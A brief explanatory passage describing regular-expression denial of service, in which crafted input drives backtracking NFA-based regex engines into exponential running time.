An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.